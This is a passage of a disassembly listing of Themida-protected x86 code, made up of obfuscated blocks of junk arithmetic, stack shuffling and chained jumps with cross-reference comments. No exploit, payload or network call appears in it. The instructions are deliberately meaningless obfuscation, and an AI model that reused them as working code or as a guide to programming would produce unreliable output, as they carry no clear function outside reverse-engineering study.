ecx add ebx, 3C5E13CCh sub ebx, edi push esi mov esi, 3C5E13CCh sub ebx, esi pop esi add ebx, 0AD80098h pop edi add edx, 9371432h add edx, ebx sub edx, 9371432h pop ebx add edx, 4 jmp loc_59FC9B ; --------------------------------------------------------------------------- loc_5983FB: ; CODE XREF: Themida_:005ADEEBj or ecx, 6C77500Bh xor ecx, 7FFF71EBh mov esi, ecx pop ecx jmp loc_5AC05E ; --------------------------------------------------------------------------- loc_59840F: ; CODE XREF: Themida_:005A2063j mov [esp], ecx push esi mov esi, 7EA74940h dec esi jle loc_5AED46 xor esi, 0A820A029h mov ecx, esi mov esi, [esp] add esp, 4 push esi mov esi, 20F5695Dh sub eax, 3B441546h sub eax, esi jmp loc_5AC089 ; --------------------------------------------------------------------------- loc_598442: ; CODE XREF: Themida_:005A59ECj mov eax, 6FBE0273h xor edi, eax jmp loc_5A097D ; --------------------------------------------------------------------------- loc_59844E: ; CODE XREF: Themida_:005A0C62j pop ebx xor esi, ecx mov ecx, [esp] add esp, 4 and ebp, esi pop esi jmp loc_59BFAE ; --------------------------------------------------------------------------- loc_598462: ; CODE XREF: Themida_:005AF582j xchg eax, [esp] pop esp mov [esp], edx jmp loc_5ACE99 ; --------------------------------------------------------------------------- loc_59846E: ; CODE XREF: Themida_:0059A293j push eax mov al, 10h dec al neg al neg al dec al shr al, 3 add al, 66h add bh, 4Ah push eax mov al, 0E0h sub bh, al pop eax add bh, al add bh, 0E0h sub bh, 4Ah pop eax add dl, bh pop ebx add al, 6Dh add al, dl sub al, 6Dh mov edx, [esp] jmp loc_5A7B1D ; --------------------------------------------------------------------------- loc_5984A1: ; CODE XREF: Themida_:005A8B2Fj add esi, 0BCD5DE8Dh add ecx, 3223711Eh add ecx, 223B519Ah add ecx, esi sub ecx, 223B519Ah sub ecx, 3223711Eh pop esi add ecx, 2 push ecx jmp loc_5ABA59 ; --------------------------------------------------------------------------- loc_5984CE: ; CODE XREF: Themida_:00599C92j mov esi, 30B35510h or esi, 79DD7221h push edx mov edx, 3B793063h and esi, edx pop edx push 5963h mov [esp], ebx mov ebx, 3D1E25C7h xor ebx, 52017B37h add esi, ebx jmp loc_59B0CF ; --------------------------------------------------------------------------- loc_5984FC: ; CODE XREF: Themida_:005A4B9Dj mov eax, [esp] add esp, 4 xchg esi, [esp] jmp loc_59B2A1 ; --------------------------------------------------------------------------- loc_59850A: ; CODE XREF: Themida_:0059C4CBj push esi jmp loc_5A3D3C ; --------------------------------------------------------------------------- loc_598510: ; CODE XREF: Themida_:0059B918j ; Themida_:005A4B01j jz loc_5AD674 shl ebx, 1 jnp loc_5ABFCB jmp loc_5A6310 ; --------------------------------------------------------------------------- loc_598523: ; CODE XREF: Themida_:005A976Fj add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_5A3B56 ; --------------------------------------------------------------------------- loc_598534: ; CODE XREF: Themida_:005A9161j sub eax, esi pop esi pop ebp push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], eax push dword ptr [esp+4] jmp loc_5A30BC ; --------------------------------------------------------------------------- loc_598554: ; CODE XREF: Themida_:005A617Cj add [esp+4], edi pop edi pop edx add edx, 4 sub edx, 4 xchg edx, [esp] mov esp, [esp] jmp loc_5A70A9 ; --------------------------------------------------------------------------- loc_59856E: ; CODE XREF: Themida_:0059955Dj add [esp+8], eax push esi jmp loc_59929C ; --------------------------------------------------------------------------- loc_598578: ; CODE XREF: Themida_:005A6184j pop esp jmp loc_59B1D6 ; --------------------------------------------------------------------------- loc_59857E: ; CODE XREF: Themida_:loc_59C1A0j push ebp jmp loc_5ACDC7 ; --------------------------------------------------------------------------- loc_598584: ; CODE XREF: Themida_:005A0DBFj and bh, 0F8h and bh, 0ACh add bh, 1 dec bh xor bh, 0F0h or cl, bh mov ebx, [esp] jmp loc_5AB874 ; --------------------------------------------------------------------------- loc_59859C: ; CODE XREF: Themida_:005A96F7j mov edi, [esp] push 7F0Bh mov [esp], esi mov esi, esp add esi, 4 add esi, 4 jmp loc_59A777 ; --------------------------------------------------------------------------- loc_5985BA: ; CODE XREF: Themida_:005A1A0Bj mov [esp], edx push ecx jmp loc_5AEDB4 ; --------------------------------------------------------------------------- loc_5985C3: ; CODE XREF: Themida_:loc_5A3F09j jmp loc_5AED7E ; --------------------------------------------------------------------------- loc_5985C8: ; CODE XREF: Themida_:005ABE12j add esp, 4 xchg ecx, [esp] mov esp, [esp] push edi mov edi, esp add edi, 4 jmp loc_5A4401 ; --------------------------------------------------------------------------- loc_5985E2: ; CODE XREF: Themida_:005A3631j push dword ptr [esp] mov edx, [esp] sub esp, 4 mov [esp], ebp jmp loc_5A4DA0 ; --------------------------------------------------------------------------- loc_5985F6: ; CODE XREF: Themida_:005A621Ej mov ebp, 2ADD4FA1h push ecx jmp loc_5AA8E5 ; --------------------------------------------------------------------------- loc_598601: ; CODE XREF: Themida_:loc_5AC7A9j xor ch, 2Bh mov dl, ch pop ecx jmp loc_5A9805 ; --------------------------------------------------------------------------- loc_59860C: ; CODE XREF: Themida_:0059C934j jmp loc_5A9A0B ; --------------------------------------------------------------------------- loc_598611: ; CODE XREF: Themida_:005A1799j add ebx, edx sub ebx, 158E7EFBh add ebx, 2EF07147h mov edx, [esp] add esp, 4 jmp loc_5ACFF5 ; --------------------------------------------------------------------------- loc_59862D: ; CODE XREF: Themida_:005A19F2j xor eax, [esp] pop esp bt [esp], ax pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_59863C: ; CODE XREF: Themida_:005AF28Ej push esi jmp loc_59A42C ; --------------------------------------------------------------------------- loc_598642: ; CODE XREF: Themida_:005A8674j add [esp+8], eax mov eax, [esp] add esp, 4 sub [esp+4], eax sub dword ptr [esp+4], 7DD94E74h jmp loc_5AAD7D ; --------------------------------------------------------------------------- loc_59865D: ; CODE XREF: Themida_:005A829Cj add esi, 6D4916A0h sub esi, eax sub esi, 6D4916A0h pop eax xchg esi, [esp] mov esp, [esp] mov [esp], ebx jmp loc_599F01 ; --------------------------------------------------------------------------- loc_59867A: ; CODE XREF: Themida_:005A9333j add esp, 4 jmp loc_59838C ; --------------------------------------------------------------------------- loc_598682: ; CODE XREF: Themida_:0059C0DFj push 2EEEh mov [esp], ebx jmp loc_599680 ; --------------------------------------------------------------------------- loc_59868F: ; CODE XREF: Themida_:005A2DFBj shl bp, 1 xor bp, 0FC60h sub ax, bp mov ebp, [esp] add esp, 4 add ax, dx push edi push eax mov ax, 28E7h jmp loc_5AD1F8 ; --------------------------------------------------------------------------- loc_5986AE: ; CODE XREF: Themida_:005A4B8Aj ; Themida_:005A6FF3j inc edx jle loc_5AC737 xor edx, 0A9910682h push eax xor al, 85h push ebp loc_5986BF: ; CODE XREF: Themida_:0059B29Cj push ebx sub esp, 4 mov [esp], ebp mov ebp, 590D143Bh sub esp, 4 jmp loc_59C126 ; --------------------------------------------------------------------------- loc_5986D6: ; CODE XREF: Themida_:005A7B18j pop ebx sub edx, esi pop esi jmp loc_5AADFE ; --------------------------------------------------------------------------- loc_5986DF: ; CODE XREF: Themida_:005A0480j sub ecx, 260B540Ah push esi jmp loc_5A5CDD ; --------------------------------------------------------------------------- loc_5986EB: ; CODE XREF: Themida_:005AD268j push ebp push 5F48h mov [esp], eax push 293D5F75h mov eax, [esp] add esp, 4 neg eax js loc_59ABEA add eax, 8DCF6922h push eax add dword ptr [esp], 72946AA7h pop ebp loc_598715: ; CODE XREF: Themida_:005AF2D7j push ebx mov bh, 25h jmp loc_5A04BE ; --------------------------------------------------------------------------- loc_59871D: ; CODE XREF: Themida_:00598977j or ah, 23h jg loc_5A0AD8 shl ah, 6 sub ah, 8Ah jns loc_5A4A1A xor ah, 59h jmp loc_59A142 ; --------------------------------------------------------------------------- pop ecx inc esi sub esp, 4 pop esp loc_598740: ; CODE XREF: Themida_:005A5DA6j mov edi, 4 add esi, 5FEB70F2h jmp loc_59DDEC ; --------------------------------------------------------------------------- loc_598750: ; CODE XREF: Themida_:005A55A0j push dword ptr [esp] pop edi jmp loc_5A0335 ; --------------------------------------------------------------------------- loc_598759: ; CODE XREF: Themida_:005A31F5j pop edi mov eax, ebp jmp loc_5A061F ; --------------------------------------------------------------------------- loc_598761: ; CODE XREF: Themida_:005A209Fj add ebx, 1DB97310h sub ebx, edx jmp loc_5A4F81 ; --------------------------------------------------------------------------- loc_59876E: ; CODE XREF: Themida_:0059BBA6j push 5DB3h mov [esp], edx mov dh, 0CEh jmp loc_5A43FA ; --------------------------------------------------------------------------- loc_59877D: ; CODE XREF: Themida_:0059E671j mov [esp], ecx jmp loc_59838C ; --------------------------------------------------------------------------- loc_598785: ; CODE XREF: Themida_:005A88A5j pop ecx push ebx mov ebx, 4 sub edx, ebx jmp loc_5A49E1 ; --------------------------------------------------------------------------- loc_598793: ; CODE XREF: Themida_:005A9D65j push ecx mov ch, 0F2h inc ch xor ch, 9Ah sub ch, 1 xor ch, 0F3h add bl, ch pop ecx sub bl, al sub bl, 9Bh sub esp, 4 mov [esp], eax push esp pop eax jmp loc_5A4763 ; --------------------------------------------------------------------------- loc_5987B9: ; CODE XREF: Themida_:005AA05Dj mov eax, [esp] sub esp, 4 mov [esp], ecx push esp mov ecx, [esp] jmp loc_5AE5BB ; --------------------------------------------------------------------------- loc_5987CE: ; CODE XREF: Themida_:005A7C15j add edx, ebp mov ebp, [esp] add esp, 4 add ebx, edx jmp loc_5A3ECD ; --------------------------------------------------------------------------- loc_5987E0: ; CODE XREF: Themida_:loc_59CDBFj push esi jmp loc_5A956D ; --------------------------------------------------------------------------- loc_5987E6: ; CODE XREF: Themida_:loc_5A18ADj shr eax, 4 js loc_5A7137 jmp loc_5A8F20 ; --------------------------------------------------------------------------- loc_5987F4: ; CODE XREF: Themida_:005AE5F1j xor edi, 0E6D0FC12h add ebp, edi pop edi jmp loc_5A9E30 ; --------------------------------------------------------------------------- loc_598802: ; CODE XREF: Themida_:loc_5A06CBj sub esi, 58FCF9A3h jmp loc_59E177 ; --------------------------------------------------------------------------- loc_59880D: ; CODE XREF: Themida_:005AC4A7j sub esp, 4 mov [esp], ecx push edi push 32AF3475h pop edi shl edi, 4 jmp loc_5A9BDD ; --------------------------------------------------------------------------- loc_598822: ; CODE XREF: Themida_:005A9209j mov [esp], ebp mov ebp, 6B9600D2h shl ebp, 1 push esi mov esi, 7B8E30E9h or ebp, esi pop esi not ebp dec ebp jmp loc_5A3DFC ; --------------------------------------------------------------------------- loc_59883D: ; CODE XREF: Themida_:005A28C5j push eax not dword ptr [esp] jmp loc_59A902 ; --------------------------------------------------------------------------- loc_598846: ; CODE XREF: Themida_:00598C4Bj pop esi add esi, 4 add esi, 4 xchg esi, [esp] pop esp shr ecx, 0Ah push 3891h mov [esp], ebx push edx jmp loc_599EAB ; --------------------------------------------------------------------------- loc_598868: ; CODE XREF: Themida_:005A79DBj pop ecx jmp loc_59F508 ; --------------------------------------------------------------------------- loc_59886E: ; CODE XREF: Themida_:0059E70Ej mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop edx add esp, 4 add edx, 4 add edx, 4 jmp loc_5A9190 ; --------------------------------------------------------------------------- loc_59888D: ; CODE XREF: Themida_:005AB513j pop ebx jmp loc_5A613F ; --------------------------------------------------------------------------- loc_598893: ; CODE XREF: Themida_:005983A3j push ecx not byte ptr [esp] pop ecx jmp loc_5A69D8 ; --------------------------------------------------------------------------- loc_59889D: ; CODE XREF: Themida_:005AB8A8j jmp loc_59838C ; --------------------------------------------------------------------------- loc_5988A2: ; CODE XREF: Themida_:0059E907j add eax, edi jmp loc_5A76F1 ; --------------------------------------------------------------------------- loc_5988A9: ; CODE XREF: Themida_:0059B3DEj jnz loc_5A951A sub ecx, 6B34794Ah jmp loc_5AA887 ; --------------------------------------------------------------------------- loc_5988BA: ; CODE XREF: Themida_:0059DBD6j add esi, 4 push eax mov eax, 185059E3h dec eax jmp loc_5AF308 ; --------------------------------------------------------------------------- loc_5988CC: ; CODE XREF: Themida_:005AA292j xchg edi, [esp] pop esp push dword ptr [esp] pop esi jmp loc_5A051F ; --------------------------------------------------------------------------- loc_5988D9: ; CODE XREF: Themida_:005A79BCj or ecx, ebx pop ebx push ebp push ebx jmp loc_5A92CC ; --------------------------------------------------------------------------- loc_5988E3: ; CODE XREF: Themida_:005A79F4j push ecx jmp loc_5A7FC4 ; --------------------------------------------------------------------------- loc_5988E9: ; CODE XREF: Themida_:00599AE5j ; Themida_:005A02F7j pop dword ptr [esp] jmp loc_5A16B3 ; --------------------------------------------------------------------------- loc_5988F1: ; CODE XREF: Themida_:0059CEF4j ; Themida_:loc_5A6911j pop ecx jmp loc_5A054D ; --------------------------------------------------------------------------- loc_5988F7: ; CODE XREF: Themida_:005ABF02j jnz loc_598F71 sub eax, 0A6E9BDFAh mov ebx, eax pop eax push ebp jmp loc_5AC1B1 ; --------------------------------------------------------------------------- push ebp loc_59890C: ; CODE XREF: Themida_:005AEE9Ej add esp, 4 jmp loc_5AED76 ; --------------------------------------------------------------------------- loc_598917: ; CODE XREF: Themida_:005A06F5j xor eax, 0F86E6651h push edi mov edi, eax mov ebx, edi jmp loc_5A3308 ; --------------------------------------------------------------------------- loc_598926: ; CODE XREF: Themida_:005A271Aj jb loc_5AABE8 add ebp, 0DBB3D02Bh inc ebp sub ebp, 127AE354h sub ebx, ebp jmp loc_5A2A21 ; --------------------------------------------------------------------------- loc_598940: ; CODE XREF: Themida_:005A2CA5j mov [esp], ebx mov ebx, 324F7058h not ebx inc ebx push esi mov esi, 0CDB08FA4h sub ebx, esi pop esi add esi, ebx pop ebx sub esi, 2 xchg esi, [esp] jmp loc_5A32AE ; --------------------------------------------------------------------------- loc_598965: ; CODE XREF: Themida_:005AE290j sub ebp, esi pop esi jmp loc_5AB083 ; --------------------------------------------------------------------------- loc_59896D: ; CODE XREF: Themida_:005A2609j jmp loc_59838C ; --------------------------------------------------------------------------- lodsb push ecx push eax mov ah, 0F6h jmp loc_59871D ; --------------------------------------------------------------------------- loc_59897C: ; CODE XREF: Themida_:005A54B4j neg eax jmp loc_5A65A6 ; --------------------------------------------------------------------------- loc_598983: ; CODE XREF: Themida_:005A7CE0j sub ebx, 275650E7h sub esi, 6829181Bh jmp loc_5A585F ; --------------------------------------------------------------------------- loc_598994: ; CODE XREF: Themida_:00599E8Dj shr ecx, 7 shr ecx, 5 dec ecx push esi mov esi, 216D4FA1h jmp loc_5A09D7 ; --------------------------------------------------------------------------- loc_5989A6: ; CODE XREF: Themida_:005AB73Cj mov [esp], eax sub esp, 4 jmp loc_5ACE0E ; --------------------------------------------------------------------------- loc_5989B4: ; CODE XREF: Themida_:0059FA35j push eax jmp loc_59E7CE ; --------------------------------------------------------------------------- loc_5989BA: ; CODE XREF: Themida_:005AECA3j mov edx, ebx mov eax, edx pop edx pop ebx sub ebp, eax jmp loc_5A9F4C ; --------------------------------------------------------------------------- loc_5989C7: ; CODE XREF: Themida_:loc_5A17DAj sub esp, 4 mov [esp], edi push ebx push 64C1h mov [esp], ecx push edi mov edi, 199C5B4Bh add edi, 0EC8EBC87h mov ecx, edi pop edi mov ebx, ecx jmp loc_5A412F ; --------------------------------------------------------------------------- loc_5989EC: ; CODE XREF: Themida_:005A0208j push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_5A0FA3 ; --------------------------------------------------------------------------- loc_598A03: ; CODE XREF: Themida_:005A335Bj mov eax, [esp] push 575Ah mov [esp], ecx push esp pop ecx jmp loc_5AA86D ; --------------------------------------------------------------------------- loc_598A15: ; CODE XREF: Themida_:0059E629j push ebx push ecx jmp loc_5AC094 ; --------------------------------------------------------------------------- loc_598A1C: ; CODE XREF: Themida_:0059F04Bj ; Themida_:005A0E60j xor edi, 58D3BBB9h sub ebp, edi pop edi pop eax sub eax, ebp pop ebp jmp loc_59838C ; --------------------------------------------------------------------------- loc_598A2E: ; CODE XREF: Themida_:005A17A8j add edi, 4449EF2Bh push edi mov edi, 7C306788h jmp loc_5A5CBD ; --------------------------------------------------------------------------- loc_598A3F: ; CODE XREF: Themida_:005AF454j neg eax add eax, 6EC50C9Dh add edi, eax jmp loc_5ACF4F ; --------------------------------------------------------------------------- loc_598A4D: ; CODE XREF: Themida_:0059E19Ej ; Themida_:005ACCFCj add cl, 1Eh neg cl jnp loc_5AF088 sub cl, 31h add cl, 64h sub cl, ah sub cl, 64h push ecx loc_598A64: ; CODE XREF: Themida_:005993C9j push 3123h mov [esp], ecx mov ecx, 73EB3030h jmp loc_5ACED5 ; --------------------------------------------------------------------------- loc_598A76: ; CODE XREF: Themida_:005ABAD1j and ebp, 1A31413Ch and ebp, 5DE04D86h sub ebp, 10F5C4B2h jmp loc_5AB2BA ; --------------------------------------------------------------------------- loc_598A8D: ; CODE XREF: Themida_:loc_59CAB0j ; Themida_:005A37A7j xor esi, eax pop eax push esi not dword ptr [esp] pop esi push ebx mov ebx, 1F1F74EFh jmp loc_5A1C78 ; --------------------------------------------------------------------------- loc_598AA0: ; CODE XREF: Themida_:0059EAE9j pop bp sub word ptr [esp+2], 0A29h add [esp+2], si add word ptr [esp+2], 0A29h sub word ptr [esp+2], 1FAAh sub word ptr [esp+2], 3D96h mov si, [esp] jmp loc_5A3CB0 ; --------------------------------------------------------------------------- loc_598ACC: ; CODE XREF: Themida_:0059EC89j pop edx jmp loc_5AB672 ; --------------------------------------------------------------------------- loc_598AD2: ; CODE XREF: Themida_:005A7C4Dj xchg edx, [esp] pop esp and esi, 3DBD760Ch or esi, 22A65DCFh add esi, 68A97EAAh sub esp, 4 mov [esp], eax mov eax, 16B831A1h add eax, 8C97CAD4h sub esi, eax pop eax push esi push ecx mov ecx, 2A7367F1h jmp loc_5A44DB ; --------------------------------------------------------------------------- loc_598B0A: ; CODE XREF: Themida_:005A1144j mov eax, 155C1E58h shr eax, 7 sub eax, 3EC401DAh shl eax, 7 sub eax, 8021B9E5h add ebx, eax jmp loc_5AEE2D ; --------------------------------------------------------------------------- loc_598B26: ; CODE XREF: Themida_:0059CC87j push esi mov esi, 74F60100h add esi, 9422A279h sub ebp, esi mov esi, [esp] jmp loc_59B00A ; --------------------------------------------------------------------------- loc_598B3C: ; CODE XREF: Themida_:0059A30Bj pop ebp jmp loc_59BC30 ; --------------------------------------------------------------------------- loc_598B42: ; CODE XREF: Themida_:0059C992j pop ebp pop dword ptr [esp] pop esp jmp loc_5A17FB ; --------------------------------------------------------------------------- loc_598B4C: ; CODE XREF: Themida_:005AEAF8j push 2A47h mov [esp], edi sub esp, 4 mov [esp], eax mov eax, 4 push eax pop edi jmp loc_59A7AB ; --------------------------------------------------------------------------- loc_598B66: ; CODE XREF: Themida_:005AA6CDj push 1B22h mov [esp], edi push 4 mov edi, [esp] add esp, 4 add [esp+4], edi push dword ptr [esp] mov edi, [esp] add esp, 4 push ecx mov ecx, esp push edi jmp loc_59C1DF ; --------------------------------------------------------------------------- loc_598B92: ; CODE XREF: Themida_:005AB065j push edx mov dh, 6Bh inc dh jle loc_5A268E xor dh, 97h push eax push ebx mov bl, 2Ah xor bl, 6 mov al, bl pop ebx sub dh, al pop eax shl dh, 6 push 586h mov [esp], eax mov ah, 0B0h dec ah not ah not ah jmp loc_5AC530 ; --------------------------------------------------------------------------- loc_598BC5: ; CODE XREF: Themida_:0059DD9Bj ; Themida_:005A0E78j not edx xor edx, 0D56EC1BDh and ebp, edx pop edx push ecx mov ecx, 7344092Ah and ebp, ecx pop ecx xor ebp, 6144000Ch add ecx, ebp mov ebp, [esp] jmp loc_5AD335 ; --------------------------------------------------------------------------- loc_598BE9: ; CODE XREF: Themida_:00598ED6j ; Themida_:005A74D5j push 3B7Fh mov [esp], ebp jmp loc_59BD73 ; --------------------------------------------------------------------------- loc_598BF6: ; CODE XREF: Themida_:0059D4A2j push edi mov edi, 4 push ebx mov ebx, edi mov edx, ebx pop ebx jmp loc_5AD627 ; --------------------------------------------------------------------------- loc_598C07: ; CODE XREF: Themida_:005A16EFj not ebx jmp loc_5A7949 ; --------------------------------------------------------------------------- loc_598C0E: ; CODE XREF: Themida_:005ACA8Bj xor ecx, [esp] xor [esp], ecx jmp loc_5A95BD ; --------------------------------------------------------------------------- loc_598C19: ; CODE XREF: Themida_:005ACD04j jmp loc_5A9C9B ; --------------------------------------------------------------------------- loc_598C1E: ; CODE XREF: Themida_:005AA5BFj neg ecx add ecx, 14BC0609h shl ecx, 5 add ecx, 0D3825416h jmp loc_5994FF ; --------------------------------------------------------------------------- loc_598C34: ; CODE XREF: Themida_:005A03DEj shl al, 6 js loc_59F86B jmp loc_5A04D3 ; --------------------------------------------------------------------------- loc_598C42: ; CODE XREF: Themida_:005A35A3j push 1C2Dh mov [esp], esi push esp jmp loc_598846 ; --------------------------------------------------------------------------- loc_598C50: ; CODE XREF: Themida_:00598EBDj push ebx jmp loc_5A8D22 ; --------------------------------------------------------------------------- loc_598C56: ; CODE XREF: Themida_:005A8275j mov esi, 6EB55DB9h and esi, 372E74D5h sub esi, 51E4226Eh neg esi and esi, 3364011Bh add esi, 0DCDBFEE9h add eax, esi pop esi sub esp, 4 mov [esp], eax push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] dec word ptr [esp] pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_598C96: ; CODE XREF: Themida_:005A3E47j mov al, 5Ah not al jmp loc_59F136 ; --------------------------------------------------------------------------- loc_598C9F: ; CODE XREF: Themida_:005A5575j mov esp, [esp] xor ebx, 3B7C1E7Ah js loc_598F0E jmp loc_5A5393 ; --------------------------------------------------------------------------- db 0Fh db 8Ah, 0E4h ; --------------------------------------------------------------------------- rol dword ptr [eax], 1 add [ecx+51h], dl ; CODE XREF: Themida_:0059C1C2j push dword ptr [esp+4] jmp loc_59AAE2 ; --------------------------------------------------------------------------- loc_598CC4: ; CODE XREF: Themida_:005A6B11j jl loc_5A7DF9 sub ecx, 0E743D3C1h mov edi, ecx pop ecx sub ebp, edi mov edi, [esp] pop edi loc_598CD9: ; CODE XREF: Themida_:005A13C5j add esp, 4 push dword ptr [edi+eax*4] mov eax, [esp] push eax mov eax, esp jmp loc_59D48D ; --------------------------------------------------------------------------- loc_598CED: ; CODE XREF: Themida_:005A8E2Cj add edi, ebp mov ebp, [esp] add esp, 4 add edi, 2 xchg edi, [esp] pop esp rol dword ptr [esp], cl pushf jmp loc_5A36F2 ; --------------------------------------------------------------------------- loc_598D08: ; CODE XREF: Themida_:005A1486j sub esp, 4 mov [esp], edi mov edi, 553E18C3h jmp loc_59BF32 ; --------------------------------------------------------------------------- loc_598D18: ; CODE XREF: Themida_:005A6AD2j pop eax push esi push eax push edx mov edx, 4B420AE3h push esi mov esi, 16716C67h xor edx, esi pop esi mov eax, edx pop edx mov esi, eax pop eax add edx, esi pop esi add edx, edi sub edx, 5D336684h sub edx, 21643691h sub edx, 0C96040Bh pop edi xchg edx, [esp] mov esp, [esp] push 764Bh jmp loc_5AC0D7 ; --------------------------------------------------------------------------- loc_598D58: ; CODE XREF: Themida_:0059CC2Fj or edx, ebp mov ebp, [esp] add esp, 4 xor edx, 67FF3EF2h jmp loc_59AD80 ; --------------------------------------------------------------------------- loc_598D6B: ; CODE XREF: Themida_:0059E3A9j ; Themida_:005AA495j push esi mov esi, 215D4521h shl esi, 8 inc esi js loc_599A02 jmp loc_5A50B4 ; --------------------------------------------------------------------------- loc_598D80: ; CODE XREF: Themida_:0059BE9Aj xor edi, 0ACE5F6A9h not edi inc edi sub edi, 934B7824h add esi, edi pop edi pop eax xchg esi, [esp] pop esp add esp, 4 jmp loc_5A2221 ; --------------------------------------------------------------------------- loc_598D9F: ; CODE XREF: Themida_:005A1528j mov esi, 16292576h sub esi, 28586B33h jle loc_59B657 jmp loc_5A6104 ; --------------------------------------------------------------------------- and eax, 10391EF8h loc_598DBA: ; CODE XREF: Themida_:005A9AFBj xchg esi, [esp] pop esp xchg eax, [esp] mov esp, [esp] push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] pop ecx jmp loc_5A718A ; --------------------------------------------------------------------------- push ebp push edi mov edi, 7D42209h mov ebp, edi pop edi push esi mov esi, 12185224h jmp loc_59F58E ; --------------------------------------------------------------------------- loc_598DEB: ; CODE XREF: Themida_:005A921Ej or cl, 0F6h jb loc_5AB8C4 jmp loc_59AD58 ; --------------------------------------------------------------------------- loc_598DF9: ; CODE XREF: Themida_:0059904Cj sub esp, 4 mov [esp], eax push 22B0328Bh pop eax not eax and eax, 2BB3769Ah jl loc_59CDBF jmp loc_59C823 ; --------------------------------------------------------------------------- loc_598E1A: ; CODE XREF: Themida_:00599E94j pop eax xor ebx, 50F5419Dh add ebx, 12282C6Ch sub eax, ebx pop ebx jmp loc_5A302C ; --------------------------------------------------------------------------- loc_598E2F: ; CODE XREF: Themida_:005AA9A0j xchg ecx, [esp] pop esp push esi push esp pop esi add esi, 4 add esi, 4 xor esi, [esp] jmp loc_5AACFB ; --------------------------------------------------------------------------- loc_598E47: ; CODE XREF: Themida_:005A2FFBj push ecx mov ecx, 78C374Dh and eax, ecx pop ecx or eax, 1EAC48F5h neg eax jmp loc_5AB4D0 ; --------------------------------------------------------------------------- loc_598E5C: ; CODE XREF: Themida_:0059CC57j jnp loc_59B6F5 add bh, 0B3h shr bh, 1 shl bh, 8 and bh, 1Ah add bh, 0F6h push eax mov ah, bh mov dl, ah pop eax mov ebx, [esp] jmp loc_5AC0BE ; --------------------------------------------------------------------------- loc_598E7E: ; CODE XREF: Themida_:005A5D99j push eax push esi jmp loc_5A230B ; --------------------------------------------------------------------------- loc_598E85: ; CODE XREF: Themida_:0059A684j add ebx, 5AA75DF3h jmp loc_5AC6E5 ; --------------------------------------------------------------------------- loc_598E90: ; CODE XREF: Themida_:00599F11j mov eax, 2 add ebx, 173C3024h sub ebx, 315E3068h add ebx, eax jmp loc_5AE6D8 ; --------------------------------------------------------------------------- loc_598EA8: ; CODE XREF: Themida_:005A8528j add ebp, ecx jmp loc_5A5B93 ; --------------------------------------------------------------------------- loc_598EAF: ; CODE XREF: Themida_:005A1327j xchg edx, [esp] mov esp, [esp] jmp loc_5ACD78 ; --------------------------------------------------------------------------- loc_598EBA: ; CODE XREF: Themida_:005AE5D2j mov ebx, [esp] jmp loc_598C50 ; --------------------------------------------------------------------------- loc_598EC2: ; CODE XREF: Themida_:0059AD7Bj ; Themida_:005A77EFj mov ebx, 0 add ebx, eax jmp loc_5A5D33 ; --------------------------------------------------------------------------- loc_598ECE: ; CODE XREF: Themida_:0059B2F4j add esp, 4 or eax, eax jz loc_598BE9 push 6F7Dh jmp loc_599B97 ; --------------------------------------------------------------------------- loc_598EE6: ; CODE XREF: Themida_:005994B7j add [esp+4], eax sub dword ptr [esp+4], 1E7145Ch pop eax jmp loc_5A45D1 ; --------------------------------------------------------------------------- loc_598EF8: ; CODE XREF: Themida_:005A5B80j xor ecx, 626A0381h jmp loc_5AB1C5 ; --------------------------------------------------------------------------- loc_598F03: ; CODE XREF: Themida_:0059D45Dj push ebx mov ebx, 4F353FC5h jmp loc_5991A4 ; --------------------------------------------------------------------------- loc_598F0E: ; CODE XREF: Themida_:00598CA8j jmp loc_59F7FD ; --------------------------------------------------------------------------- loc_598F13: ; CODE XREF: Themida_:005A4F93j jp loc_5A67AB jmp loc_59A689 ; --------------------------------------------------------------------------- mov edi, 0FFFFFFFFh loc_598F23: ; CODE XREF: Themida_:005AAAD2j mov ebx, 29AB6BA2h mov edi, 0FA02B791h add edi, ebx mov ebx, [esp] add esp, 4 sub edi, 4AEB68C8h jns loc_5A671E shl edi, 6 xor edi, 7155B059h xor eax, edi mov edi, [esp] add esp, 4 shr eax, 6 push ebx mov ebx, 94711259h sub eax, 38285947h jmp loc_5AEBCB ; --------------------------------------------------------------------------- loc_598F68: ; CODE XREF: Themida_:0059A2CFj add bl, 3Fh push ecx jmp loc_5A120C ; --------------------------------------------------------------------------- loc_598F71: ; CODE XREF: Themida_:loc_5988F7j sub eax, 0A6E9BDFAh mov ebx, eax pop eax push ebp jmp loc_59AD22 ; --------------------------------------------------------------------------- loc_598F7F: ; CODE XREF: Themida_:00599488j add esp, 4 push esi mov esi, 19A0603Fh sub ebp, esi pop esi pop ebx sub ebp, 0FFFFFFFFh push ecx jmp loc_59C1A5 ; --------------------------------------------------------------------------- loc_598F9B: ; CODE XREF: Themida_:005A022Cj pop dword ptr [esp] jmp loc_5A5EA8 ; --------------------------------------------------------------------------- loc_598FA3: ; CODE XREF: Themida_:loc_5A7D15j add edx, 481625D6h xor eax, edx push dword ptr [esp] pop edx push esi push esp pop esi jmp loc_5AA70F ; --------------------------------------------------------------------------- loc_598FB7: ; CODE XREF: Themida_:0059C28Aj ; Themida_:0059D174j sub edx, 18B41645h sub edx, ebx add edx, 18B41645h mov ebx, [esp] jmp loc_59B757 ; --------------------------------------------------------------------------- loc_598FCD: ; CODE XREF: Themida_:005A7A3Fj pop esp push eax push esp pop eax add eax, 4 push ebp push 4E7Ah mov [esp], edi jmp loc_5ADFEA ; --------------------------------------------------------------------------- loc_598FE4: ; CODE XREF: Themida_:005AC5E1j push ecx jmp loc_5AE630 ; --------------------------------------------------------------------------- loc_598FEA: ; CODE XREF: Themida_:0059ED27j shl ebx, 7 js loc_59A35C jmp loc_59C03D ; --------------------------------------------------------------------------- loc_598FF8: ; CODE XREF: Themida_:005A9E84j add esp, 4 add ebp, 5A26685Ch add ebp, edx jmp loc_599309 ; --------------------------------------------------------------------------- loc_59900B: ; CODE XREF: Themida_:0059B7CDj sub esp, 4 jmp loc_5A7DA2 ; --------------------------------------------------------------------------- loc_599016: ; CODE XREF: Themida_:0059FB3Ej add dword ptr [esp], 4 mov ebx, [esp] push 2587h mov [esp], ecx jmp 